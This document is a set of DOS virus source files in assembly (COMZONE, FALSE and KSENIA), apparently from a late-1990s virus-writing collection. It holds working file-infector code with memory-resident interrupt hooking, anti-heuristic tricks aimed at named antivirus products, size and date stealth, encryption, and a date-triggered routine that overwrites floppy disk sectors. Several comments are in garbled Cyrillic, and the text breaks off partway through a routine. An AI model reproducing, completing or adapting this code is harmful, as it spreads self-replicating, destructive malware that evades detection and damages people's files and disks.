컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[COMZONE.ASM]컴� comment % Comzone Executer Virus Copyright (C) 1999 by Deadman COM/TSR non-overwriting infector Some comments: First, virus will fool a heuristic analysis through mov ax,1200h/int 2fh. So, al will be equal 0FFh (MS-DOS installation check, for OS/2 compatibility). But under analysis al will not be equal 0ffh, and virus will erase its body with 90h (nop instruction) value. And, analyzer will have an encountered nop instructions and will pass an infected program. Fooled antiviruses: F-Prot 3.03a, DrWeb 4.03, Aidstest. AVP/AVPLite 3.0 - Type_ComTSR TBScan 7.04 - 4 flags set (F#Mt), probably infected with an unknown virus ;( Also virus has a date triggered event, it'll display a string on New Year Then virus will check memory infection (mov ax,1898h/int 21h/cmp ax,9818h), and if no virus copy installed, it'll copy its body over the infected program, after the PSP (CS:0100), and return there. There virus will hook int 21h, resize memory block, find infected program's name in environment, store stack address, and execute an infected program through 4bh func- tion of int 21h, subfunction 00. After the program being executed virus will restore SS:SP pair (uses new 80386 instruction, LSS SP,DWORD PTR), and stay resident in memory using legal method (function 31h) with 00 errorlevel. On int 21h call virus waits 4b00h function and infects the program being executed, hooking an int 24h handler, saving file time and date, checking file size overflow. Also virus checks first two bytes for MZ/ZM signature. Virus length = 512 (200h) bytes Negative Checksum = 0FFF8F678h Destructive actions - none Deadman. % model tiny codeseg org 100h .386 start: mov ax,1234h push ax bx cx dx si di bp es ds mov ax,1200h push ds xor si,si mov ds,si pushf call dword ptr ds:[2fh*4] pop ds xor al,0ffh jz no_heur call next next: pop di add di,no_heur-next mov al,90h mov cx,1000h rep stosb no_heur: mov ah,2ah int 21h cmp dx,0c1eh jne install call string string: pop dx add dx,outp-string mov ah,9 int 21h jmp $ install: mov ax,1898h int 21h cmp ax,9818h je here mov di,100h call delta delta: pop si sub si,delta-start mov cx,vsize rep movsb push offset continue ret continue: mov ax,3521h int 21h mov io21,bx mov io21+2,es mov ah,25h lea dx,int21 int 21h mov ah,4ah mov bx,(vsize+100h)/16+2 push cs pop es int 21h mov seg0,cs mov seg1,cs mov seg2,cs mov si,2ch mov ds,[si] xor ax,ax xor si,si get_host: cmp word ptr [si],ax je got_host inc si jmp get_host got_host: lea dx,[si+4] mov ax,4b00h lea bx,epb mov cs:_sp,sp mov cs:_ss,ss int 21h lss sp,dword ptr cs:_sp mov es,cs:[2ch] mov ah,49h int 21h mov ax,3100h mov dx,(vsize+100h)/16+2 xor si,si mov ds,si mov si,84h pushf call dword ptr [si] here: pop ds es mov di,100h call get_orig get_orig: pop si add si,prev-get_orig movsw movsb pop bp di si dx cx bx ax db 68h,0,1,0c3h db '[ COMZONE ]',0 outp db 'ComZone Executer Copyright (c) 1999 by Deadman',0dh,0ah,24h prev db 0c3h,0,0 epb dw 0h ; dw 80h ; �ㅰα ぎК젺ㄽ�� 飡昔え seg0 dw ? ; dw 5ch ; �ㅰα ��舒�． FCB seg1 dw ? ; dw 6ch ; �ㅰα ™�昔． FCB seg2 dw ? ; int21: xchg ax,bx cmp bx,4b00h xchg ax,bx je infect cmp ax,1898h jne exit mov ax,9818h iret exit: db 0eah io21 dw 0,0h infect: pusha push ds mov bp,ds xor ax,ax mov ds,ax mov si,24h*4 push word ptr [si] push word ptr [si+2] mov word ptr [si],offset int24 mov word ptr [si+2],cs mov ds,bp mov ax,3d02h int 21h jc fail xchg ax,bx mov ax,5700h int 21h push cx dx mov ah,3fh mov cx,3 push cs pop ds lea dx,prev int 21h xor cx,ax jnz close mov ax,word ptr prev xor ax,5050h cmp ax,'MZ' XOR 5050h je close cmp ax,'ZM' XOR 5050h je close mov ax,4202h cwd int 21h or dx,dx jnz close cmp ax,63000 ja close cmp ax,1024 jb close cmp byte ptr prev,0e9h jne not_inf mov cx,ax sub cx,vsize cmp word ptr prev+1,cx je close not_inf: mov word ptr jump+1,ax mov ah,40h mov cx,vsize mov dx,100h int 21h jc close xor cx,ax jnz close mov ax,4200h cwd int 21h mov ah,40h mov cx,3 lea dx,jump int 21h close: pop dx cx mov ax,5701h int 21h mov ah,3eh int 21h fail: push 0 pop ds mov si,24h*4 pop word ptr [si+2] pop word ptr [si] pop ds popa jmp exit int24: mov al,3 iret jump db 0e9h,0,0 eov: vsize equ $-start _sp dw ? _ss dw ? end start 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[COMZONE.ASM]컴� 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[FALSE.ASM]컴� jumps model tiny codeseg start: push bx cx dx si di bp es ds push cs pop es mov ax,1200h int 2fh cmp al,0ffh sbb ch,ch mov cl,1 lea di,stosed mov al,90h rep stosb stosed: nop mov ax,4408h xor bx,bx int 21h or ax,ax jz exit mov si,81h cmd: lodsb cmp al,' ' jne ign cmp byte ptr [si],'*' jne ign lea si,scre hi: lods byte ptr cs:[si] cmp al,0 jz eol mov dl,al mov ah,2 int 21h mov cx,225 delay: push cx mov cx,-1 loop $ pop cx loop delay jmp hi eol: jmp $ ign: cmp al,0dh jne cmd mov ah,2fh int 21h push es bx push cs cs pop ds es mov ah,1ah lea dx,dta int 21h mov ah,4eh mov cx,0e7h lea dx,exe fnext: int 21h jc no_more lea dx,dta+1eh call infect_exe mov ah,4fh jmp fnext no_more: mov ah,1ah pop dx ds int 21h exit: pop ds es mov ax,ds add ax,10h add word ptr cs:_cs,ax add word ptr cs:_ss,ax pop bp di si dx cx bx db 0b8h _ss dw 0 mov ss,ax db 0bch _sp dw 0 db 0eah _ip dw 000h _cs dw -10h infect_exe proc near push word ptr _ss push word ptr _sp push word ptr _ip push word ptr _cs mov ax,4301h xor cx,cx int 21h mov ax,3d02h int 21h jc atr xchg ax,bx mov ah,3fh mov cx,28 lea dx,buffer int 21h cmp ax,cx jnz close cmp word ptr buffer,'ZM' jne close cmp word ptr buffer+12h,'aF' je close cmp byte ptr buffer+18h,40h je close mov ax,512 mov cx,word ptr buffer+4 cmp word ptr buffer+2,0 jz $+3 dec cx mul cx add ax,word ptr buffer+2 adc dx,0 xchg ax,si xchg dx,di mov dx,word ptr dta+1ah+2 mov ax,word ptr dta+1ah cmp dx,6 ja close cmp ax,si ; compare its jne close cmp dx,di jne close mov si,word ptr buffer+14h mov word ptr _ip,si mov si,word ptr buffer+16h mov word ptr _cs,si mov si,word ptr buffer+0eh mov word ptr _ss,si mov si,word ptr buffer+10h mov word ptr _sp,si push ax dx ; get location in exe file mov cx,16 div cx sub ax,word ptr buffer+8 mov bp,16 sub bp,dx inc ax cwd mov word ptr buffer+14h,dx mov word ptr buffer+16h,ax inc ax ; special for TBAV mov word ptr buffer+0eh,ax mov word ptr buffer+10h,1000h pop dx ax add ax,vsize adc dx,0 add ax,bp adc dx,0 mov cx,512 div cx or dx,dx jz $+3 inc ax mov word ptr buffer+2,dx mov word ptr buffer+4,ax mov word ptr buffer+12h,'aF' mov ax,5700h int 21h push cx dx mov ax,4202h xor cx,cx cwd int 21h mov ah,40h mov cx,bp int 21h mov ah,40h mov cx,vsize cwd int 21h xor cx,ax jnz res_dda mov ax,4200h cwd int 21h mov ah,40h mov cl,28 lea dx,buffer int 21h res_dda: pop dx cx mov ax,5701h int 21h close: mov ah,3eh int 21h atr: mov ax,4301h xor cx,cx mov cl,byte ptr dta+15h lea dx,dta+1eh int 21h pop word ptr _cs pop word ptr _ip pop word ptr _sp pop word ptr _ss ret infect_exe endp exe db '*.exe',0 db '[FALSE]',0 db 'Copyright (C) 1998-99 by Deadman',0 scre db 'It seems to be all right',0dh,0ah,0 vsize equ $-start dta db 43 dup (?) buffer label byte end start 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[FALSE.ASM]컴� 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�[KSENIA.ASM]컴� comment ^ KSENIA Virus Copyright (C) 1998-99 Deadman 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 Pre-release Version (0.99 alpha). E-Mail: dman@mail.ru TSR/COM/EXE/SYS non-overwriting infector Infects on 3Dh/43h/4Bh/56h/6Ch (Open/ChMOD/Exec/Rean/ExtOpen) Size stealth on 11h/12h/4Eh/4Fh (Find First/Next FCB/DTA) Redirection stealth on 3Fh/42h (Read/LSeek) Disinfects the host on 40h (Write) Date stealth on 5700h/5701h (Get/Set File time/date) Uses Low memory addresses Encrypted. Uses XOR/ADD/SUB/NOT/INC/DEC/ROR/ROL/NEG encryptors Creates random 16-bit decryption key (value) Encrypts the decryption routine via simple XOR Doesn't infect files with a current hour stamp Doesn't infect files beginning on FI (FindVirus) SC (McAfee Scan) VS (McAfee VShield/Microsoft VSafe) TB (ThunderByte shit) DR (Doctor Web) AV (AntiViral Toolkit Pro) F- (F-Protect) FP (F-Protect) CO (Command Interpreter) Disable stealth on running programs (through MCB Owner) PKZIP 컴� RAR � ARJ � Archivers LHA � ARC 컴� DEFRAG 컴� SPEEDISK � CHKDSK � BACKUP � To avoid errors MSBACKUP � SCANDISK � NDD 컴� Anti-AV routines (Heuristic/Encryption) DrWeb 3.24/4.00 - No detection AVP/AVPLite 3.0 - No detection F-Prot 3.03a - No detection NAV 4.0 (Bloodhound) - No detection MSAV - No detection TbScan 7.04 - No detection, "T" flag set TbClean - Can't emulate ;( ... Gets the original int 21h vector uses tunneling method Uses SPLICE technology, simple anti-bug trick on windows run On May, the 5-th virus will erase every diskette you will insert Novell Network shit, depends on system time ^ vsize equ eov-ksenia ; virus size msize equ eom-ksenia ; memory needed for virus model tiny codeseg .386 ; e?x and dwords enabled :) ksenia: push ax bx cx dx si di bp es ds cld ; take down VSafe xor ax,ax ; ax FA01 mov ds,ax ; dx 5945 mov ax,0fa01h ; int 16 mov dx,05945h pushf ; avoid TBScan stealth flag (X) call dword ptr ds:[58h] call extra ; calculate extra offset xor dx,dx ; dx=0 mov ax,1200h pushf call dword ptr ds:[0bch] sub al,0ffh ; no analysise => al=ff sbb dh,0 ; if yes => dh<>0 cli ; disable interrupts mov si,09h*4 ; si=int 09h vector mov ax,0ffffh push word ptr [si] ; save offset on stack mov [si],ax ; break it sub [si],ax ; breaked? pop word ptr [si] ; restore offset sti sbb dh,0 ; if not => dh<>0 lea di,kill_vir+bp ; store dx+1 nop after kill_vir label push cs ; pop es mov cx,1 add cx,dx mov al,90h rep stosb kill_vir: nop call crypt ; decrypt virus in memory enc_start: cmp word ptr cs:[original+bp],0ffffh ; started from SYS? jne no_sys lea si,original+bp+6 ; reset interrupt and mov di,6 ; strategy offset push cs cs pop ds es movsw movsw mov ax,0ba00h ; move virus body into video memory mov es,ax ; at BA00:0000 xor di,di mov si,bp mov cx,msize rep movsb pop ds es bp di si dx cx bx ax ; restore registers push 0ba00h offset sys_return ; return address jmp word ptr cs:[8] ; call original routine sys_return: push ax bx cx dx si di bp es ds ; staying resident after the driver ; is installed xor bp,bp ; extra offset = 0 mov ax,18ddh ; already installed? int 21h cmp ax,303h ; if yes, so return to dos je complete les bx,dword ptr cs:req_head ; request header mov ax,word ptr es:[bx+0eh] ; last byte after the driver cmp ax,55000 ; installation. Is there enough ja complete ; memory to append? add word ptr es:[bx+0eh],msize ; increase last byte value shr ax,4 ; getting new CS inc ax add ax,word ptr es:[bx+10h] mov es,ax jmp move_it ; ---- COM/EXE installation --- no_sys: mov ax,18ddh int 21h cmp ax,303h je complete mov ah,62h ; psp address int 21h mov cs:psp+bp,bx add bx,10h ; moving virus body over the infected program mov es,bx move_it: xor di,di mov si,bp mov cx,msize push cs pop ds pushf push es offset zero_bp cli mov bp,sp sub bp,7 mov word ptr [bp],0a4f3h ; rep movsb instruction mov byte ptr [bp+2],0cfh ; iret opcode push ss bp retf zero_bp: sti push cs pop ds mov resthost,0 mov ax,psp mov seg0,ax mov seg1,ax mov seg2,ax mov point,offset keyword call cr21z ; int 21h vector search call restorehost xor ax,ax ; ds=0 mov ds,ax ; setting new int 09h vector mov si,09h*4 ; lea di,io9 movsw movsw mov word ptr [si-4],offset int9 mov word ptr [si-2],es cmp word ptr cs:original,0ffffh je complete mov es,cs:psp mov ah,4ah mov bx,(msize+100h)/16+2 int 21h mov si,2ch ; environment segment mov ds,es:[si] xor ax,ax xor si,si get_host: cmp word ptr [si],ax ; looking for the 0000h word je got_host inc si jmp get_host got_host: lea dx,[si+4] ; dx -> infected program's name mov ax,4b00h ; executing program lea bx,epb push cs pop es cli xor si,si mov ss,si mov sp,600h+256 int 21h cli xor ax,ax mov ss,ax mov sp,600h+256 sti mov ax,cs:psp dec ax mov ds,ax xor si,si mov al,4dh xchg al,byte ptr [si] mov byte ptr [si+100h],al mov word ptr [si+3],0fh mov word ptr [si+103h],msize/16+2 mov word ptr [si+101h],8 mov ah,4dh ; exit code in AL int 21h mov ah,4ch ; DOS program terminate int 21h 袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴袴 complete: pop ds es ; ¡遜�젺�˘筍 醒，��狩瑜 mov ax,es ; 誓（飡贍 � 貰魚젺ⓥ� ⓨ ㎛좂���� � ax lea si,original+bp ; si-貰魚젺����� 췅�젷� 若飡� mov cx,word ptr cs:[si] cmp cx,'MZ' ; �洙蝨� 飡졷獸쥯エ? je run_exe ; 'MZ' 'ZM' -> �� 뀞낁�Ø� cmp cx,'ZM' ; 0ffffh -> �� SYS� je run_exe ; Þ좂� �� 몠뙛 inc cx jz run_sys mov di,0100h ; 飡졷獸쥯エ �� 몠뙛, movsw ; ¡遜�젺�˘筍 췅�젷� movsb pop bp di si dx cx bx ax db 0ebh,1 ; ㄶ젹� 췅 6890h mov sp,6890h ; � 將�-nop/push 0100 db 0,1 db 0ebh,1 ; ㄶ젹� 췅 C3h mov al,0c3h ; 獸〃�� ret run_exe: add ax,010h ; ¡遜�젺젪エ쥯�� 뀞낁�Ø mov dx,cs:[si+14h] ; 飡졷�� IP mov cs:_ip+bp,dx mov dx,cs:[si+16h] ; 飡졷�� CS add dx,ax ; + PSPSeg+10h mov cs:_cs+bp,dx mov dx,cs:[si+10h] ; 飡졷�� SP mov cs:_sp+bp,dx add ax,cs:[si+0eh] ; 飡졷�� SS mov cs:_ss+bp,ax pop bp di si dx cx bx ax cli db 0bch ; _ss dw ? ; cli mov ss,sp ; mov sp,ss_value db 0bch ; mov ss,sp _sp dw ? ; mov sp,sp_value sti ; sti db 0eah ; far jump instruction _ip dw ? _cs dw ? run_sys: pop bp di si dx cx bx ax retf pushall macro pushf push ax bx cx dx si di bp ds es endm popall macro pop es ds bp di si dx cx bx ax popf endm copyright db '[KSENIA]',0 db 'Version 0.99 alpha',0 db 'Copyright (C) ',??date,20h,??time,' by Deadman',0 db 'The Global Project devoted to Ksenia Chizhova',0 nmess db 'External System Error #05. Connection refused.',0 endnmess: wino32bit db ' /d:c',0dh stdisable db 'PKZIP',0 db 'RAR',0 db 'ARJ',0 db 'LHA',0 db 'ARC',0 db 'DEFRAG',0 db 'SPEEDISK',0 db 'CHKDSK',0 db 'BACKUP',0 db 'MSBACKUP',0 db 'SCANDISK',0 db 'NDD',0 db 0ffh funcs db 18h XOR 25h dw tsrtest db 0eh XOR 25h dw select db 3dh XOR 25h dw infect db 43h XOR 25h dw infect db 4bh XOR 25h dw infect db 56h XOR 25h dw infect db 6ch XOR 25h dw extinfect db 11h XOR 25h dw fcbstealth db 12h XOR 25h dw fcbstealth db 4Eh XOR 25h dw dtastealth db 4Fh XOR 25h dw dtastealth db 00h XOR 25h dw terminate db 31h XOR 25h dw terminate db 4Ch XOR 25h dw terminate db 32h XOR 25h dw getdpb db 42h XOR 25h dw seekstealth db 3fh XOR 25h dw readstealth db 40h XOR 25h dw writehandler db 57h XOR 25h dw datestealth endf: original db 0c3h,27 dup (0) epb dw 0h ; dw 80h ; �ㅰα ぎК젺ㄽ�� 飡昔え seg0 dw ? ; dw 5ch ; �ㅰα ��舒�． FCB seg1 dw ? ; dw 6ch ; �ㅰα ™�昔． FCB seg2 dw ? ; keyword db 25h+80h,1Fh+80h,12h+80h,31h+80h,17h+80h,1Eh+80h copy db '123 4 5 Deadman' endcopy: smb_pattern db 10100111b db 10100100b db 11000111b db 10100001b db 10100111b db 00000000b db 00000000b db 01111110b db 10000001b db 01111110b db 00000000b db 00000000b db 00000000b db 00000000b db 11101001b db 10001001b db 11101101b db 10001011b db 11101001b db 00000000b db 00000000b db 01111110b db 10000001b db 01111110b db 00000000b db 00000000b db 00000000b db 00000000b db 11100110b db 01001001b db 01001111b db 01001001b db 11101001b db 00000000b db 00000000b db 01111110b db 10000001b db 01111110b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 00111100b db 01000010b db 10011001b db 10100001b db 10100001b db 10011001b db 01000010b db 00111100b db 00000000b db 00000000b db 00000000b db 00000000b db 00000000b db 11101001b db 10101001b db 10101001b db 10101001b db 11101001b db 11001111b db 10100001b db 10100001b db 10100001b db 11101110b db 00000000b db 00000000b 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; 렊�젩�洵Ø �誓贍쥯�⑨ 21 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 tsr: pushf cmp cs:resthost,0 je usual_work popf mov cs:resthost,0 push bp ax si ds mov bp,sp sub word ptr [bp+8],2 lds si,dword ptr [bp+8] mov ax,cs:keepword mov [si],ax call restorehost pop ds si ax bp iret usual_work: push ds si ax ; 貰魚젺ⓥ� 誓（飡贍 lds si,dword ptr cs:io21 ; 쭬｀習ⓥ� 젮誓� mov ax,word ptr cs:prev2 ; �□젩�洵Ø� int 21h mov word ptr [si],ax ; � ��葉�ⓥ� ⅲ� pop ax push ax xchg al,ah xor al,25h xor si,si ; ③�� � �젩エ璵 ��Д� findfunc: cmp al,cs:funcs+si ; 押�ゆĿ, ぎ獸�좑 醒⑴졹 jne wrongfunc ; �留猶젰恂� call verifymcb ; 췅獄� - �昔´黍筍 mcb mov ax,word ptr cs:funcs+si+1 ; ˇ汀� 細ι���� quit_manager: mov word ptr cs:func_jump,ax pop ax si ds ; �□젩�洵Ø� ㄻ� 將�� 押�ゆĿ popf ; ¡遜�젺�˘筍 ㏇篆莘 쳽╉ mov cs:func_number,ax push cs:func_jump ; 貰笹졻藺� 췅 �□젩�洵Ø ret wrongfunc: add si,3 ; ‥誓� 笹ⅳ莘芋� 押�ゆ⑧ cmp si,endf-funcs ; �� �젩エ劣 jb findfunc ; ⓤ碎か�? lea ax,exithandler jmp quit_manager 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; Infect a file 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 extinfect: pushad mov dx,si jmp realinfect infect: pushad realinfect: push ds es ; 貰魚젺ⓥ� 誓（飡贍 cmp ax,4b00h jne no_novell_check call novell ; �젶 젽 材�� no_novell_check: push ds ; 貰魚젺ⓥ� eax,ds push 0 ; 쭬率�呻� � ds 栒쩆 0 pop ds mov si,24h*4 mov eax,[si] ; 貰魚젺ⓥ� 24-� ´も�� mov dword ptr cs:io24,eax ; 信�젺�˘筍 聲�� mov word ptr [si],offset int24h ; �曄�� 昔―Ł � mov word ptr [si+2],cs ; 飡α�ⓥ�レ�硫 pop ds mov cx,128 ; 젺젷�㎤說�� º� �젵쳽 mov di,dx ; ③�� � �ⅲ� ぎ�ζ get_end: mov al,[di] inc di or al,al loopnz get_end jz got_end ; º��收��? huy: jmp noinf got_end: dec di mov al,[di] ; ˇ汀� 줎⒱ �� 飡昔え cmp al,'.' ; 췅�젷� �졹鼇誓�⑨? je got_pixel cmp al,'\' ; 췅�젷� 첓�젷�짛? je huy cmp al,':' ; ID ㄸ稅�? je huy cmp di,dx ; 췅�젷� 飡昔え? ja got_end jmp huy got_pixel: mov ax,[di+2] ; ˇ汀� ㄲ� 歲Б�쳽 call upreg ; �졹鼇誓�⑨ � 룑꼵윊� ⓨ shl eax,16 mov ax,[di] call upreg cmp eax,'SYS.' je good_ext cmp eax,'MOC.' je good_ext cmp eax,'EXE.' jne huy good_ext: xchg bp,ax call filenamecheck ; �昔´黍筍 �젵� jc huy mov ax,4300h ; ㄾ飡졻� 졻循Æ呻� �젵쳽 call int21 jc huy mov si,cx ; 貰魚젺ⓥ� ⓨ � si mov ax,4301h ; 信�젺�˘筍 ��席젷彛瑜 ones xor cx,cx call int21 jc huy push si ds dx ; 貰魚젺ⓥ� 丞젳졻�レ � 졻� mov ax,3d02h ; �淫졻藺� �洙贍筍 �젵� call int21 ; ㄻ� 譽��⑨/쭬�ⓤ� jc restoreattr xchg ax,bx ; ��ギ┬筍 hanlde � bx push cs cs ; ds � es ��첓㏓쥯荻 췅 췅� pop ds es call handlecheck ; �昔´黍筍 �젵� 췅 �誓ㄼβ jc forcedclose ; �ⅳⓤぎ¡飡� call seek2eof ; 笹②ぎ� ‘レ溫�? cmp dx,10 ; � 獸 Divide Overflow jae close ; 췅嶺β �瑜〓쥯筍碎 call seek2bof ; �旬輾呻� ぎ�ζ �□졻�� call inf? ; �昔´黍筍, 〓� エ �� Þ十- jc close ; 與昔쥯� ˘說貰� mov ah,3fh ; 淞ⓥ졻� ��舒瑜 28 줎⒱ mov cx,28 ; � ds:original lea dx,original call int21 cmp cx,ax ; ㏇� �昔葉�젷�刷? jne close lea si,original ; 誠�쳽筍 � ▲芯誓 ぎ�⑧ lea di,buffer mov cx,28 cld rep movsb lea si,original ; no comments lea di,buffer mov ax,[si] ; ˇ汀� � ax ��舒瑜 2 줎⒱� cmp bp,'S.' je infect_sys cmp ax,'ZM' ; �젶 エ 將�? je infect_exe cmp ax,'MZ' je infect_exe call cominfect jmp analyse infect_exe: call exeinfect jmp analyse infect_sys: call sysinfect analyse: jc close ; 若飡� call writevirus ; 쭬�ⓤ졻� ˘說� close: call correctdate forcedclose: mov ah,3eh ; 쭬む淫� ⅲ� - 譽�� �� ℓ�� call int21 restoreattr: pop dx ds cx ; ¡遜�젺�˘筍 졻循Æ呻� mov ax,4301h call int21 noinf: push 0 ; ¡遜�젺�˘筍 24-� ´も�� pop ds push eax mov eax,dword ptr cs:io24 ; ´惜呻� 飡졷硫 ´も�� mov dword ptr ds:[24h*4],eax ; �誓贍쥯�⑨ 24 췅 Д飡� pop eax pop es ds ; ¡遜�젺�˘筍 誓（飡贍 popad jmp exithandler ; 襲殊.. 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; Select disk ; Disk erasing on holidays 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 select: pusha cmp dl,2 ; （―�． ㄸ稅�, αエ �� 信�젺젪エ쥯β碎 jae not_floppy ; 收ゃ蟯� Œ� 쭬殊�젰� ㄸ稅β� mov bp,dx mov ah,2ah ; ��昔� 쩆瞬 call int21 cmp dx,0505h ; 05.05.XXXX? mov dx,bp jne not_floppy inc dl ; 習췅��, 稅�レぎ 醒も�昔� 췅 ㄸ稅� mov ah,36h call int21 inc ax jz not_floppy dec ax mul dx mov cx,ax mov dx,1 ; 貰 ™�昔． 醒も��� (譽�� ㏇篆� М�ⓥ�昔 dec cx ; �� ｃｃ) mov ax,bp int 26h popf not_floppy: popa jmp exithandler 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; fcb size/date stealth 컴 called by 11h/12h ; no extension check (see above) 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 fcbstealth: call int21 ; find file! pushall ; save all 16-bit registers (exc. SP) cmp al,0FFh ; no more filez? jz no_stealth ; nothing to do! cmp cs:stf,0 ; can we stealth? jnz no_stealth ; we can't stealth cmp cs:drf,0 ; can we stealth? jnz no_stealth ; we can't stealth mov ah,2Fh ; get current DTA address call int21 mov al,0FFh ; al = FF cmp es:[bx],al ; FCB is extended? jne no_ext ; not extended! add bx,7 ; else 7 extra bytes no_ext: lea si,[bx+14h] ; si points to file date lea di,[bx+1Dh] ; di points to file size call sizst ; stealth real file size! jmp no_stealth ; show the false to user! 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; date stealth 컴 called by 57h 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 datestealth: or al,al jnz set_date call int21 call hidestm jmp ireturn set_date: call int21 call correctdate jmp ireturn 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; dta size/date stealth 컴 called by 4Eh/4Fh ; no extension check (infected.exe could be renamed to fuckup.fun) 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 dtastealth: call int21 ; find file! pushall ; save all 16-bit registers (exc. SP) jc no_stealth ; nothing to do? cmp cs:stf,0 ; can we stealth? jnz no_stealth ; we can't stealth mov ah,2Fh ; get current DTA address call int21 lea si,[bx+18h] ; si points to file date lea di,[bx+1Ah] ; di points to file size call sizst ; stealth real file size! no_stealth: popall ; reset all 16-bit registers jmp ireturn ; show the false to user! ; ----= SIZE STEALTH =---- sizst: mov dx,word ptr es:[si] ; ax = filedate call hidestm ; verify and hide stamp jnc no_hide ; if no stamp set ;( mov word ptr es:[si],dx ; save it in DTA mov dx,word ptr es:[di+2] ; dx:ax = filesize mov ax,word ptr es:[di] sub ax,vsize sbb dx,0 jc no_hide stosw xchg ax,dx stosw no_hide: ret ; ----= DATE CORRECT =---- correctdate: mov ax,5700h ; dos function: get file time/date call int21 call hidestm ; reset file date stamp call inf? ; file is already infected? jnc perfectly ror dh,1 add dh,100 rol dh,1 perfectly: mov ax,5701h ; set new, corrected file stamp call int21 ret ; ----= HIDE STAMP =---- hidestm: push dx ; store dx on stack shr dh,1 ; get stamp in dh cmp dh,100 ; above 100? pop dx ; reset dx jb good_stm ror dh,1 ; prepare dx sub dh,100 ; hide real stamp rol dh,1 ; reset dx stc ret good_stm: clc ret 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; allow/disable fcb stealth ; virus disables fcb stealth on get dpb (32h) to avoid chkdsk (or other shit) ; mistakes 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 terminate: mov cs:drf,0 jmp runaway getdpb: mov cs:drf,1 runaway: jmp exithandler 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; lseek stealth ; �㎕ⅲ젰� ¡㎚�┃�飡� ��캙쩆�⑨ lseek'� 췅 收ギ ˘說�� 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 seekstealth: cmp cs:stf,0 ; ㏇篆�� RAR'� ‥ｃ�? jnz nostealth call handlecheck ; ㄸ稅��硫 �젵�? jc nostealth call inf? ; Þ十與昔쥯�? jnc nostealth cmp al,2 ; �黍む猶젰� ┏�� ˘說��? je hide_eof call int21 jc st_ret call seeksave call seekhide mov ax,cs:seek_pos mov dx,cs:seek_pos+2 clc st_ret: jmp ireturn hide_eof: sub dx,vsize sbb cx,0 nostealth: jmp exithandler 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 ; read stealth 굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇굇 readstealth: cmp cs:stf,0 ; ㏇篆�� RAR'� ‥ｃ�? jnz nostealth call handlecheck ; ㄸ稅��硫 �젵�? jc nostealth call inf? ; Þ十與昔쥯�? jnc nostealth call int21 ; 葉�젰� 曄 �昔碎� jc st_ret pushf ; 貰魚젺ⓥ� 誓（飡贍 pusha mov bp,dx ; 젮誓� ▲芯�� ゃ쩆 葉�졻� mov cs:nrbytes,ax ; ぎエ曄飡¡ �昔葉�젺�音 줎⒱ cmp dword ptr cs:seek_pos,28 ; 葉�좐� 쭬．ギ¡�? jae virsubtract call load_original ; �琉�졻� �黍（췅レ��� 췅�젷� 將�． �젵쳽 lea si,buffer ; 細ι���� 췅�젷� 쭬Д�젰щ� 줎⒱ add si,cs:seek_pos mov cx,cs:nrbytes ; 淞ⓥ젰� ぎエ曄飡¡ 줎⒱ ぎ獸贍� 췅� �拾�� add 